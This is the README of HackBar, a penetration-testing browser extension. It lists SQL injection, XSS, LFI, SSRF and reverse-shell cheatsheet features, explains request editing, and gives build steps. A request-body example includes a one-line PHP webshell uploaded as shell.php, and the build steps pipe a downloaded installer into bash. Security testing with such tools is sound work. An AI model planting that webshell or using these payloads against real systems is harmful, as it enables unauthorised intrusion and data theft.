Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

0140454/hackbar

Repository files navigation

HackBar

A browser extension for Penetration Testing.

Available on Chrome Web Store and Firefox Add-ons.

Requested Permissions

  • storage

    • Save theme preferences
  • scripting

    • Perform POST request
    • Run test function
  • webRequest

    • Remember request information
    • Listen finish event to clean up
  • declarativeNetRequest

    • Set HTTP header value based on settings

Features

  • Load

    • From tab (default)
    • From cURL command
  • Supported

  • Auto Test

    • Common paths (Wordlist from dirsearch included)
  • SQLi

    • Dump all database names (MySQL, PostgreSQL, MSSQL)
    • Dump tables from database (MySQL, PostgreSQL, SQLite, MSSQL)
    • Dump columns from database (MySQL, PostgreSQL, SQLite, MSSQL)
    • Union select statement (MySQL, PostgreSQL, SQLite, MSSQL)
    • Error-based injection statement (MySQL, PostgreSQL, MSSQL)
    • Dump in one shot payload (MySQL)
    • Dump current query payload (MySQL)
    • Space to Inline comment
  • XSS

    • Vue.js XSS payloads
    • Angular.js XSS payloads for strict CSP
    • Some snippets for CTF
    • Html encode/decode with hex/dec/entity name
    • String.fromCharCode encode/decode
    • Helper function for converting payload with atob
  • LFI

    • PHP wrapper - Base64
  • SSRF

    • AWS - IAM role name
  • SSTI

  • Shell

    • Python reverse shell cheatsheet
    • sh(bash) reverse shell cheatsheet
    • nc(ncat) reverse shell cheatsheet
    • PHP webshell/reverse shell cheatsheet
  • Encoding

    • URL encode/decode
    • Base64 encode/decode
    • Hexadecimal encode/decode
    • Unicode encode/decode
    • Escape ASCII with hex/oct
  • Hashing

    • MD5
    • SHA1
    • SHA256
    • SHA384
    • SHA512

Usage

How to open it?

  1. Open Developer tools (Press F12 or Ctrl + Shift + I)
  2. Switch to HackBar tab
  3. Enjoy it

Shortcuts

Description Shortcut
Load Alt + A
Split Alt + S
Execute Alt + X
Mode Alt + M

Request Editing

Basic mode

multipart/form-data

After changing enctype field to multipart/form-data, you can put your payload into Body field such as the following:

------WebKitFormBoundarydbJBATDXCC6CL0lZ
Content-Disposition: form-data; name="user"
user
------WebKitFormBoundarydbJBATDXCC6CL0lZ
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-httpd-php
<?php passthru($_GET['c']); ?>
------WebKitFormBoundarydbJBATDXCC6CL0lZ--

We will consider the first line as boundary, and reconstruct a form element to send your request.

Therefore, sent boundary will not be the same as you typed.

application/json

After changing enctype field to application/json, you can put your payload into Body field such as the following:

{
 "username": "admin",
 "password": "admin"
}

If your payload doesn't contain =:

In order to post JSON data, we will insert a dummy field or object to your JSON such as the following:

{ "username": "admin", "password": "admin", "4dxnzjzd5mi": "=" }

For more details, please visit "Posting JSON with an HTML Form".

Raw mode

This mode is implemented via fetch API. It will try the best to send a request as same as you typed.

However, there are some limitations:

Request

  • It is unable to use a specified HTTP protocol version.

    The protocol version is fixed to HTTP/1.1 in the editor, but what version used in a request is up to fetch behavior.

  • Some HTTP headers may appear in a sent request even if you don't add them in the editor.
    e.g. Connection, Cache-Control, Pragma, etc.

    These headers will be assigned a default value. For example, Connection: keep-alive, Cache-Control: no-cache.

Response

  • [Chrome] It always shows HTTP/1.1 if used protocol version is higher than or equal to HTTP/2.

    See also Chromium Code Search

Third-party Libraries

See package.json for details.

Build Steps

Assume that we are in a clean ubuntu:22.04 container

# Update apt
apt update
# Install basic tools
apt install -y curl python3 make gcc g++ patch jq
# Install nvm
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.0/install.sh | bash
# Restart shell
exec "$SHELL"
# Install Node.js 22
nvm install 22
# Install yarn
npm install -g yarn
# Go to the source code directory
cd hackbar
# Install hackbar dependencies
yarn install
# Build hackbar for Firefox and Chrome
yarn build:firefox
yarn build:chrome

Contributor

AltStyle によって変換されたページ (->オリジナル) /